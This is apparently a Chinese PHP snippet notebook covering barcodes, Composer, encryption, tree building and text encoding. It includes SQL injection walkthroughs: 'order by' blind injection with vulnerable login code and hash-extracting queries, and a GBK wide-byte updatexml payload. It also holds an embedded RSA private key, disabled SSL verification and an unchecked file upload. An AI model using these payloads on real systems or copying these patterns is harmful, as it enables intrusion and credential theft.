echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Code11</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0123456789");
$barcode->setType(BarcodeGenerator::Code11);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Code39</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0123456789");
$barcode->setType(BarcodeGenerator::Code39);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Code39Extended</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0123456789");
$barcode->setType(BarcodeGenerator::Code39Extended);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Ean128</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("00123456789012345675");
$barcode->setType(BarcodeGenerator::Ean128);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Gs1128</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("00123456789012345675");
$barcode->setType(BarcodeGenerator::Gs1128);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Gs1128</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("4157707266014651802001012603068039000000006377069620171215");
$barcode->setType(BarcodeGenerator::Gs1128);
$barcode->setNoLengthLimit(true);
$barcode->setAllowsUnknownIdentifier(true);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

// i15为偶数
echo '<hr>';
echo '<p>Example - I25</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("00123456789012345675");
$barcode->setType(BarcodeGenerator::I25);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Isbn</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0012345678901");
$barcode->setType(BarcodeGenerator::Isbn);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Msi</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0012345678901");
$barcode->setType(BarcodeGenerator::Msi);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Postnet</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("01234567890");
$barcode->setType(BarcodeGenerator::Postnet);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - S25</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("012345678901");
$barcode->setType(BarcodeGenerator::S25);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Upca</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("012345678901");
$barcode->setType(BarcodeGenerator::Upca);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

echo '<hr>';
echo '<p>Example - Upce</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("012345");
$barcode->setType(BarcodeGenerator::Upce);
$code = $barcode->generate();
echo '<img src="data:image/png;base64,' . $code . '" />';

}
}
https://learnku.com/laravel/t/31325

Composer 输入账号密码

1
2
3
4
5
把 composer.lock 文件, vendor 目录删掉。 然后

composer global clearcache

composer clearcache

foreach 引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$array = ['zero', 'one', 'two', 'three'];
$value = &$array[3];
// foreach 的作用如上
// $value 现在是$array[3]的地址
$value = 100;
// 相当于 $array[3] 的内存地址为 100

dump($array);

array:4 [▼
0 => "zero"
1 => "one"
2 => "two"
3 => & 100
]

获取日期数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getDateRange($startDate, $endDate){
$startTimeStamp = strtotime($startDate);
$endTimeStamp = strtotime($endDate);

// 计算日期段内有多少天
$days = ($endTimeStamp-$startTimeStamp) / 86400;

// 保存每天日期
$date = array();

for($i=0; $i<$days; $i++){
$date[] = date('Y-m-d', $startTimeStamp+(86400*$i));
}

return $date;
}

$list = getDateRange('2018/01/01', '2018/01/03);

/**
* $list 如下
* [2018-01-01,2018-01-02,2018-01-03]
*/

女神QQ号码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
取整=>取余=>取余*10+取整。。。。。取余取整的对象都是10的倍数,根据位数而定,每次取整之后就是一位,循环直到数字等于0
$raw_num = 631758924;
$num = 0;
$devisor = 1;
while($devisor < $raw_num)
{
$devisor *= 10; //获取最小的大于raw_num的10的倍数的整数https://www.cnblogs.com/iforever/p/4584490.html
}

while ($raw_num > 0) {
$devisor /= 10;
$next = floor($raw_num / $devisor); //获取下一个数字
$num = $num*10 + $next; //计算”半成品“QQ号码
$raw_num = $raw_num % $devisor;
$last = floor($raw_num * 10 / $devisor); //移动数字,拼接最新的QQ号码

$pre = $raw_num % (ceil($devisor / 10));

$raw_num = $pre * 10 + $last;
}
echo "恭喜你啦,成功获取QQ号码:{$num}"; //恭喜你啦,成功获取QQ号码:615947283
var n = "631758924";
var arr = [];
var res = [];

for(var i=0; i<n.length; i++) {
arr.push(n.charAt(i));
}

while(arr.length) {
if(arr.length !== 1) {
res.push( arr.shift() );
arr.push( arr.shift() );
} else {
res.push( arr.shift() );
}
}
console.log(res.join('')); //615947283
>>> qq = lambda e:len(e)>1 and e[0]+qq(e[2:]+e[1]) or e
>>> print qq('631758924')
615947283

PHP实现linux命令tail -f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env php 
<?php
if(2 != count($argv)){
fwrite(
STDERR,
"调用格式错误!使用格式 ./tail filename".PHP_EOL
);
return 1;
}
//https://www.cnblogs.com/iforever/p/5202197.html
$file_name = $argv[1];
define("MAX_SHOW", 8192);//当内容长度超过这个阈值的时候,只输出最后面的8192个字节,这样就不会出现大面积的刷新导致看不清的问题

$file_size = 0;
$file_size_new = 0;
$add_size = 0;
$ignore_size = 0;
$fp = fopen($file_name, "r");
while(1){
clearstatcache();//php中获取文件大小之前一定要运行函数clearstatcache(),清除文件状态缓存,否则获取文件大小可能会有偏差
$file_size_new = filesize($file_name);
$add_size = $file_size_new - $file_size;
if($add_size > 0){
if($add_size > MAX_SHOW){
$ignore_size = $add_size - MAX_SHOW;
$add_size = MAX_SHOW;
fseek($fp, $file_size + $ignore_size);
}
fwrite(
STDOUT,
fread($fp, $add_size)
);
$file_size = $file_size_new;
}
usleep(50000);
}

fclose($fp);

Unicode到UTF-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

汉 => E6B189 => 11100110 10110001 10001001 => 01101100 01001001 => 6C49
字 => E5AD97 => 11100101 10101101 10010111 => 01011011 01010111 => 5B57

#下面是在chrome命令行下面运行的结果
'\u6C49'
"汉"
'\u5B57'
"字"
function utf8_bytes(str)
{
var len = 0, unicode;
for(var i = 0; i < str.length; i++)
{
unicode = str.charCodeAt(i);
if(unicode < 0x0080) {
++len;
} else if(unicode < 0x0800) {
len += 2;
} else if(unicode <= 0xFFFF) {
len += 3;
}else {
throw "characters must be USC-2!!"
}
}
return len;
}

#例子
utf8_bytes('asdasdas')
8
utf8_bytes('yrt燕睿涛')
12
#对于GBK字符串https://www.cnblogs.com/iforever/p/4520692.html
$len = ceil(strlen(bin2hex(iconv('GBK', 'UTF-8', $word)))/2);
#对于UTF8字符串
$len = ceil(strlen(bin2hex($word))/2);

PDO 防止 sql 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$user=$_POST['user']; $pass=$_POST['pass'];
$dbh = new \PDO("mysql:host=localhost; dbname=zz", "root", "root");
$dbh->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);
//禁用prepared statements的仿真效果
// $dbh->exec ("set names 'utf8'");
$sql="select * from test where user=? and pass=?";
$stmt = $dbh->prepare($sql);
$exeres = $stmt->execute(array($user, $pass));
if ($exeres) {
//while条件为真时,输出$row,
while
($row = $stmt->fetch(\PDO::FETCH_ASSOC)){
print_r($row);die();
} //失败输出登录失败https://learnku.com/articles/27000
print_r("登录失败");die();
}

二进制上传图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 $postData=file_get_contents('C:\Users\ASUS\Pictures\Saved Pictures\2.jpg');
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://www.think.hk/upload1');
curl_setopt($curl, CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));//注意加这行代码
curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$r = curl_exec($curl);
curl_close($curl);
print_r($r);
接收二进制

$xmlstr = file_get_contents('php://input') ? file_get_contents('php://input') : gzuncompress($GLOBALS['HTTP_RAW_POST_DATA']);//得到post过来的二进制原始数据
//echo $xmlstr;die;
$filename=time().'.png';
$info=file_put_contents($filename,$xmlstr);
if ($info) {
$result = [
'error' => '成功',
'url' => $filename
];
} else {
$result = ['error' => 1,
'message' => 404
];
}
return json_encode($result);

order by 进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$username = $_POST['username'];
$password = $_POST['password'];
if(filter($username)){
//过滤括号
}else{
$sql="SELECT * FROM admin WHERE username='".$username."'";
$result=mysql_query($sql);
@$row = mysql_fetch_array($result);
if(isset($row) && $row['username'] === 'admin'){
if ($row['password']===md5($password)){
//Login successful
}else{
die("password error!");
}
}else{
die("username does not exist!");
}
}
有下列表:
mysql> select * from admin where username='admin';
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
这样一个一般的场景,用户登录时,用户名错误提示:用户名错误,用户名正确密码错误提示:密码错误
username=' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b&password=1
mysql> select * from admin where username='' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b';
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | c4ca4238a0b923820dcc509a6f75849b |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
但是想得到password怎么办
0x03 利用order by起飞
由登录提示可获取一个bool条件,如何用order by利用这个bool条件
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 5 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 6 |
+----+----------+----------------------------------+
2 rows in set (0.01 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'51' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 51 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'52' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 52 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
通过逐位判断便可得到password
显然此方法在实际中使用的不多,但在一些特定的环境中也许会用到,比如实验环境,如果过滤了括号,其他盲注基本上就是废了,便可利用order by进行注入。
https://p0sec.net/index.php/archives/106/

gbk宽字节注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$conn = mysql_connect('127.0.0.1','root','xxx'); 
mysql_select_db('test',$conn);
mysql_query("set names gbk");
$id = addslashes($_GET['sql']);
$sql = "SELECT username,password FROM admin WHERE id='{$id}'";
echo $sql.'</br>';
if($res = mysql_query($sql)){
while($row = mysql_fetch_array($res)){
var_dump($row);
}
}else{
echo "Error".mysql_error()."</br>";
}
$_GET[‘id’]经过addslashes编码之后带入了‘’
变成 <pre>2%df%5C%27 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23</pre>
带入mysql处理时使用了gbk字符集
%df%5c 運成功的吃掉了%5c
%27‘单引号成功闭合
GBK编码,编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘’,而%27、%20小于ascii(128)的字符就保留了https://p0sec.net/index.php/archives/7/

Composer 加速

1
2
3
4
composer global require hirak/prestissimo
https://learnku.com/courses/laravel-package/hirakprestissimo/1695

正常使用 Composer 的相关命令即可,会自动生效。

文件下载乱码

1
2
3
4
5
6
7
8
9
10
11
//https://www.helingfeng.com/2018-05-02/php-file-download-garbled/
$encoded_filename = urlencode($filename);
$encoded_filename = str_replace("+", "%20", $encoded_filename);

if (preg_match("/MSIE/", request()->userAgent())) {
header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
} else if (preg_match("/Firefox/", request()->userAgent())) {
header('Content-Disposition: attachment; filename*="utf8\'\'' . $filename . '"');
} else {
header('Content-Disposition: attachment; filename="' . $filename . '"');
}

直接使用 mysql utf8 存储 超过三个字节的 emoji 表情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
由于现在数据的版本是5.5.2,但是看网上说要直接存储emoji表情,需要升级到5.5.3然后把字符集设置为utf8mb4,但是升级数据库感觉属于敏感操作
直接找到接受到的文本中的字符串中4个字节的内容,做rawurlencode编码,再入库。输出的时候再替换回来,然后再用rawurldecode转码回unicode到手机再解析为emoji表情。

获取字符串长度mb_strlen,按字符来截取字符串mb_substr(mb_strcut是按字节来截取,有区别)。
$strEncode = '';

$length = mb_strlen($str,'utf-8');

for ($i=0; $i < $length; $i++) {
$_tmpStr = mb_substr($str,$i,1,'utf-8');
if(strlen($_tmpStr) >= 4){
$strEncode .= '[[EMOJI:'.rawurlencode($_tmpStr).']]';
}else{
$strEncode .= $_tmpStr;
}
}

echo $strEncode."\n";// 周梦康123~☺[[EMOJI:%F0%9F%98%81]][[EMOJI:%F0%9F%98%84]]

//转码回去
$strDecode = preg_replace_callback("/\[\[EMOJI:(.*?)\]\]/", function($matches){
return rawurldecode($matches[1]);
}, $strEncode);

echo $strDecode."\n";
第一个坑:我们线上服务器strlen返回的结果不是字节数,而是字符数。我折腾好半天。最后终于找到了原因:

http://php.net/manual/zh/mbstring.overload.php

再配置文件里设置了mbstring.func_overload=2,而且该配置只能在php.ini里修改,不能通过ini_set来改变。具体参考:http://php.net/manual/en/mbstring.configuration.php
; overload(replace) single byte functions by mbstring functions.
; mail(), ereg(), etc are overloaded by mb_send_mail(), mb_ereg(),
; etc. Possible values are 0,1,2,4 or combination of them.
; For example, 7 for overload everything.
; 0: No overload
; 1: Overload mail() function
; 2: Overload str*() functions
; 4: Overload ereg*() functions
; http://php.net/mbstring.func-overload
mbstring.func_overload = 2
这样就导致了str*类的函数都被mb_str*给替换了。具体的参看上面的链接。

第二个坑:PHP 5.3.13中对preg_replace_callback不支持 https://mengkang.net/384.html

二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
https://learnku.com/articles/31829
class Elem{
public $key;
}

class Table
{
public $data = [];
public $lenght;
}
function createTable(Table &$table,$length)
{
$table->lenght = $length;
$obj = new Elem();
fwrite(STDOUT,"请输入数据:\n");
for($i=1;$i<=$table->lenght;$i++){
$elem = clone $obj;
$elem->key = fgets(STDIN,10);
$table->data[$i] = $elem;
}
}

function searchBin(Table $table,$key):int
{
$low = 1;
$height = $table->lenght;
while($low<=$height){
$mid = floor(($low+intval($height))/2);
if ($table->data[$mid]->key==$key){
return $mid;
}else if($table->data[$mid]->key>$key){
$height=$mid-1;
}else{
$low = $mid+1;
}
}
return 0;
}
(function(){
$table = new Table();
fwrite(STDOUT,"请输入数据元素个数:\n");
$length = fgets(STDIN,10);
createTable($table,$length);
fwrite(STDOUT,"请输入要查找的数据元素:\n");
$key = (integer)fgets(STDIN,10);
$location = searchBin($table,$key);
if ($location){
fwrite(STDOUT,"查找到的数据索引为:$location\n");
}else{
fwrite(STDERR,"查找不到指定的内容\n");
}
})();

无限分类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
$arrs = [
[
'id'=>1,
'parent_id'=>0
],
[
'id'=>2,
'parent_id'=>1
],
[
'id'=>3,
'parent_id'=>2
],
[
'id'=>4,
'parent_id'=>2
],
[
'id'=>5,
'parent_id'=>0
],
];
var_export(getTree($arrs));
function getTree($arrs,$root=0)
{
$tree = array();
foreach ($arrs as $foo) {
if ($foo['parent_id'] == $root) {
$foo['children'] = getTree($arrs,$foo['id']);
$tree[] = $foo;
}
}
return $tree;
}


function getTree($arrs,$root=0,$level=100)
{
$tree = array();
foreach ($arrs as $foo) {
if ($foo['parent_id'] == $root) {

if($level>0){
$foo['children'] = getTree($arrs,$foo['id'],$level-1);
}
$tree[] = $foo;

}
}
--$level;
return $tree;
}
/**
* 把返回的数据集转换成Tree
*
* @param $list
* @param string $pk
* @param string $pid
* @param string $child
* @param int $root
* @return array
*/
public static function list_to_tree($list, $pk = 'id', $pid = 'pid', $child = '_child', $root = 0)
{
// 创建Tree
$tree = [];
if (is_array($list)) {
// 创建基于主键的数组引用
$refer = [];
foreach ($list as $key => $data) {
$refer[$data[$pk]] = &$list[$key];
}
foreach ($list as $key => $data) {
// 判断是否存在parent
$parentId = $data[$pid];
if ($root == $parentId) {
$tree[] = &$list[$key];
} else {
if (isset($refer[$parentId])) {
$parent = &$refer[$parentId];
$parent[$child][] = &$list[$key];
} else {
$tree[] = &$list[$key];
}
}
}
}
return $tree;
}
使用模型自带关联关系可以实现无限级

/**
* 返回子节点
* @return \Illuminate\Database\Eloquent\Relations\HasMany
*/
public function children()
{
return $this->hasMany(get_class($this),'p_id','id');
}

/**
* 所有子节点https://learnku.com/laravel/t/31828
* @return \Illuminate\Database\Eloquent\Relations\HasMany
*/
public function allChildren()
{
return $this->children()->with( 'allChildren' );
}

/**
* 父节点
* @return \Illuminate\Database\Eloquent\Relations\HasOne
*/
public function parent()
{
return $this->hasOne(get_class($this),'id','p_id');
}
https://github.com/lazychaser/laravel-nestedset
function getTree($arrs,$root=0,$level=100)
{
$tree = array();
foreach ($arrs as $foo) {
if ($foo['parent_id'] == $root) {

if($level>0){
$foo['children'] = getTree($arrs,$foo['id'],$level-1);
}
$tree[] = $foo;

}
}
--$level;
return $tree;
}
var_export ($arrs,0,0)// 一级

array (
0 =>
array (
'id' => 1,
'parent_id' => 0,
),
1 =>
array (
'id' => 5,
'parent_id' => 0,
),
)
var_export ($arrs,0,1)// 两级

array (
0 =>
array (
'id' => 1,
'parent_id' => 0,
'children' =>
array (
0 =>
array (
'id' => 2,
'parent_id' => 1,
),
),
),
1 =>
array (
'id' => 5,
'parent_id' => 0,
'children' =>
array (
0 =>
array (
'id' => 6,
'parent_id' => 5,
),
),
),
)

php加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
AES 加密 / 解密

//获取可用的密码加密算法列表
//$methods = openssl_get_cipher_methods();
//var_dump($methods);

# AES加密演示
//明文(要加密的内容)
$str = "这是测试用例 我是明文";
//秘钥(用例:使用uniqid()函数生成了一个唯一ID)
$key = "5d3fb4acb2292";
//加密算法
$method = "AES-128-CBC";
//加密向量(要求18个字节)
$iv = "1234567812345678";
$encrypt_str = openssl_encrypt($str, $method, $key, 0, $iv);
var_dump("AES加密结果:".$encrypt_str);

# AES解密演示
//$encrypt_str AES加密后产生的密文
//$key 秘钥(同上)
$decrypt_str = openssl_decrypt($encrypt_str, $method, $key, 0, $iv);
var_dump("AES解密结果:".$decrypt_str);

RSA 加密

1.公/私钥加密算法,属于非对称加密:
2.优点:极难被破解;
3.缺点:速度慢,运算次数多,不适合加密长文本;
//公钥(项目中可在线生产亦可自己生成)
$PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApJJ7D/U9lHLNQdl4LZSr
jNvdCelIraMnSD/iujWxyw/QDLXPCtP06ll42JURGlYaO2DU5c5BKEUF0alyzlE9
XiHRXPl0LabI/CjGtrIB4RApy1PjkQ31QOt+9R2Nmb7RUkfZwnCWHBlNVnwj4U6J
woccrlUdElBWU5twFc2PNPbMR6nA/ldUwDpcveNHNp57BrgYfUFcLrjmf2LH6c7X
ngBNPbG5ha5pmsaXm8MAqBRtAvIwvUsvJLIr+XRc27pCJFe/1MtS4hHhTPE4un/z
Y/tIrpqm6MimdJcs8oqEQPoztfs5BTNu2jVgrKwtWExDXODWmHemQoaCwzgt3wMy
3wIDAQAB
-----END PUBLIC KEY-----";
//私钥(项目中可在线生产亦可自己生成)
$PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkknsP9T2Ucs1B
2XgtlKuM290J6UitoydIP+K6NbHLD9AMtc8K0/TqWXjYlREaVho7YNTlzkEoRQXR
qXLOUT1eIdFc+XQtpsj8KMa2sgHhECnLU+ORDfVA6371HY2ZvtFSR9nCcJYcGU1W
fCPhTonChxyuVR0SUFZTm3AVzY809sxHqcD+V1TAOly940c2nnsGuBh9QVwuuOZ/
YsfpzteeAE09sbmFrmmaxpebwwCoFG0C8jC9Sy8ksiv5dFzbukIkV7/Uy1LiEeFM
8Ti6f/Nj+0iumqboyKZ0lyzyioRA+jO1+zkFM27aNWCsrC1YTENc4NaYd6ZChoLD
OC3fAzLfAgMBAAECggEAUcCieW7uREwzQr7xQFNWVQbzavUEMZ2W6gEydCYwSBt2
0pmOXGamh7QioBSNBnQ3W7/igrZPD94Z4ek3Kt6YiaZrBrC00ejEdt8at6791/vb
hzIJHgm9B5701nbz3Kg5+5HNzxV2vEalcI0Cle4Z6RSNXtzRMEPQXoAc0ffnZ/tV
033zAN4nWb9zeLw03/D0nbcpaYA/WbwqsNiTxbbi0s54oTsaOTMBBAK9oH9H2M5J
506iINcKniyMi6i0cf/cQ+tP6VUCOMHdWm/zJmQ5s2eU/2SowSKMXMLIGUH2Q4AX
Z2htX4YwvdHGlGA5yPuiMznkFidVcERfbVl9yi54YQKBgQDQYqj2bb0bvD8YuvXx
htdBQrxiX53pZ1sVoh5SMxD+Lq6tpn4UtOJw6tpE7tgONmWRaKCH10fgX5nQoXPJ
0Y02qiDyk/TkE0OGiYRTjjkjY3yPkBIz9KRCoIUcwirEfWdzmjFLTq9hiaGo9JXN
HcLXOgpAbiQe+qXf9x/waWB/hQKBgQDKLQB9Ep9A6UFlumXaEr971A7HcQI2BsfP
kRfCcT1rphnENHCa37o+5i6tTImAXI+aayp9Jpv0rXLbzFbBkdUdUDINulXSsLRT
bq3ttbu5c+NG21XW1fvVqf4VYOP7u/l0Z2eBIsg9uLswS3zltTG8ikm+RKhMf1DV
PDAOoLmMEwKBgDn0po9a9/Rlx5qmLM7OtMFGwUQO2clXYILEwvATmc9HxncvTfOO
V0gWWTxAvUA+qsLlOXhuTGQ/0nSu4pgnusGQUXeF5N8l6Grbhj0C2itYeQUoiZd/
m8uX/01/Rwu84O/K25jZOnfDIn3uAFe6xjy7vKwstckT5txCS9S+SgNNAoGAbvLl
Sr32cUvQXMA+9r7FIHJOLfsBaJ6t9mW8cTNtrm63wym4BfXzImN1iBrxdmTVVbur
1IRkn5Cz8JUhoxahqnWBEnGIeZgJTaP2hPXvcCV9uzvQzpYdnrKsQhUq59HPYqcA
cSiiVOTUrPswLmsSQVJuh6Dr7xcLSAnAobZoPMsCgYEAsJuY5RcB1sjYortRNsKb
KHLiLI93P0MFF46V/343d3BU7TZfETg703Mj2AfOAGTM2p2BkHFri3l+4oigMqpr
hAp4hNq4KFK2SCjzedrLV7QIgtp/uMZ+q/yhRtiG8kSWlI9c0Un00+KqIwFqfwAB
l1zOX5QcMa1X7eWSvZ559ko=
-----END PRIVATE KEY-----";

//待加密明文
$data = "这是RSA待加密明文";
//用于接收加密后的密文
$content_encrypt = "";
# 私钥加密
openssl_private_encrypt($data, $content_encrypt, $PRIVATE_KEY, 1);
var_dump("私钥加密结果:".$content_encrypt);

# 公钥解密https://learnku.com/articles/31841
//$content_encrypt 私钥加密后的密文
//用于接收解密后的明文
$content_decrypt = "";
openssl_public_decrypt($content_encrypt, $content_decrypt, $PUBLIC_KEY, 1);
var_dump("公钥解密结果:".$content_decrypt);
//根军 MD5()函数的不可逆性进行签名校验
//首先必须要有 $appKey与$secretKey
$appKey = "5d3fb4acb2292";
$secretKey = "5d3fb4acb22925d3fb4acb22925d3fb4acb2292";

$url = "localhost/text_sig.php";

//待传递的参数
$params['appKey'] = $appKey;
$params['name'] = "张三";
$params['age'] = "26";
$params['sex'] = "男";
$params['root'] = "admin";
$params['password'] = "123456";
$params['time'] = time();
//获取签名
$params['sig'] = createSig($params,$secretKey);
$param_str = http_build_query($params);
$url = $url.'?'.$param_str;
var_dump($url);

//生成签名
function createSig($params,$secretKey){
//对参数进行排序
ksort($params);
$str = http_build_query($params);
$str .= $secretKey;
return md5($str);
}

文字生成点阵图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132

$font_width = 16; // 单字宽度
$font_height = 16; // 单字高度
$byteCount = $font_width * $font_height / 8;//一个点阵占的字节数

$str=iconv("utf-8","gb2312//IGNORE", "我是大是的大萨法fasf大多数");
$n=5;//每一行四个字

//所有字的字模
$dot = getDot($str,$byteCount);
/**
* $positions 平面坐标系
* $sections 每一个字模在平面坐标系中的点。(可移动每一个字模的位置)
* $spreadSections 所有字模在平面坐标系中的点,是$sections的展开
*
*/
list($positions,$sections,$spreadSections) = getPositionsSections($dot,$byteCount,$n);

/**
* 输出点阵html字符串
*/
echo getOutHtml($positions,$sections,$spreadSections,$n);

/**
* 从字库中获得每一个字的字模
* @param $str
* @param $byteCount
* @return string
*/
function getDot($str,$byteCount){
$dot='';
$fontFileName = './HZK16';//字库名字
$fp = fopen($fontFileName, "rb");
for ($i=0;$i<strlen($str);$i++){

if(ord($str[$i])<160){//非汉字
$location=(ord($str{$i}) + 156-1) * $byteCount;
}else {//汉字
$qh = ord($str[$i]) - 32 - 128;//区码
$wh = ord($str[++$i]) - 32 - 128;//位码
$location = (94 * ($qh - 1) + ($wh - 1)) * $byteCount; /* 计算汉字字模在文件中的位置 */
}
fseek($fp, $location, SEEK_SET);//定位到汉字或字母指针开始的地方
$dot.= fread($fp, $byteCount);//读取32字节的长度,一个字节8位,一行依次放两个字节组成16*16的点阵
}
fclose($fp);
return $dot;
}

/**
* 建平面按坐标系。并把每一区块用平面坐标系表示
* @param $dot
* @param $byteCount
* @param $n
* @return array
*/
function getPositionsSections($dot,$byteCount,$n){

$count= strlen($dot)/$byteCount;//多少个字
$positions=[];
$sections =[];
$sectionCount=$count;

for ($i=0;$i<$sectionCount;$i++){
$sections[]=[];

}

$yHeight=(intval($count/$n)*16+16);
$xWeight=16*$n;
